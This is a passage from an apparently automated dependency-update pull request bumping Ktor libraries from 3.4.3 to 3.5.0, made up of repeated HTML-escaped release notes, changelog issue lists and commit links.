object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3ccad96fbb891469cdb5ff92b51a96bb6d6374c9\"\u003e\u003ccode\u003e3ccad96\u003c/code\u003e\u003c/a\u003e Release 3.5.0 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5612\"\u003e#5612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/decd09ffd35e23a2b3e4481f37b252000a8b7ec2\"\u003e\u003ccode\u003edecd09f\u003c/code\u003e\u003c/a\u003e Update report links (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5616\"\u003e#5616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/ba5bbc5a7aafe0b909e9c40536153d02b7baa99c\"\u003e\u003ccode\u003eba5bbc5\u003c/code\u003e\u003c/a\u003e Rethrow cancellation in Digest.build (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5618\"\u003e#5618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/165355954f7659ddd9c114381ea8eb592dee9cb7\"\u003e\u003ccode\u003e1653559\u003c/code\u003e\u003c/a\u003e Update kotlinx-serialization to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/eb593ac471b00f99c55090fb190a0ec5cdfa5115\"\u003e\u003ccode\u003eeb593ac\u003c/code\u003e\u003c/a\u003e Update kotlinx-coroutines to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/043d400e8140e1e2c46830463efb807f3669a313\"\u003e\u003ccode\u003e043d400\u003c/code\u003e\u003c/a\u003e Update dependency org.jetbrains.kotlinx:kotlinx-io-core to v0.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/75a8324a98f38ca299ba8af7e4224a07cb78bc30\"\u003e\u003ccode\u003e75a8324\u003c/code\u003e\u003c/a\u003e Update dependency com.squareup.okio:okio to v3.17.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/757c3da525695ae2e0b3f15b50145f50e57d08af\"\u003e\u003ccode\u003e757c3da\u003c/code\u003e\u003c/a\u003e Update dependency com.google.code.gson:gson to v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/4b796859d1c189190d3fe964bf506d98356a5e0c\"\u003e\u003ccode\u003e4b79685\u003c/code\u003e\u003c/a\u003e Update dependency com.auth0:jwks-rsa to v0.24.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6fe542f9b102300921ce681afb48d38c5e3aac2d\"\u003e\u003ccode\u003e6fe542f\u003c/code\u003e\u003c/a\u003e Update tomcat.jakarta to v10.1.55\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.3...3.5.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-auth` from 3.4.3 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-auth's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-auth's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print 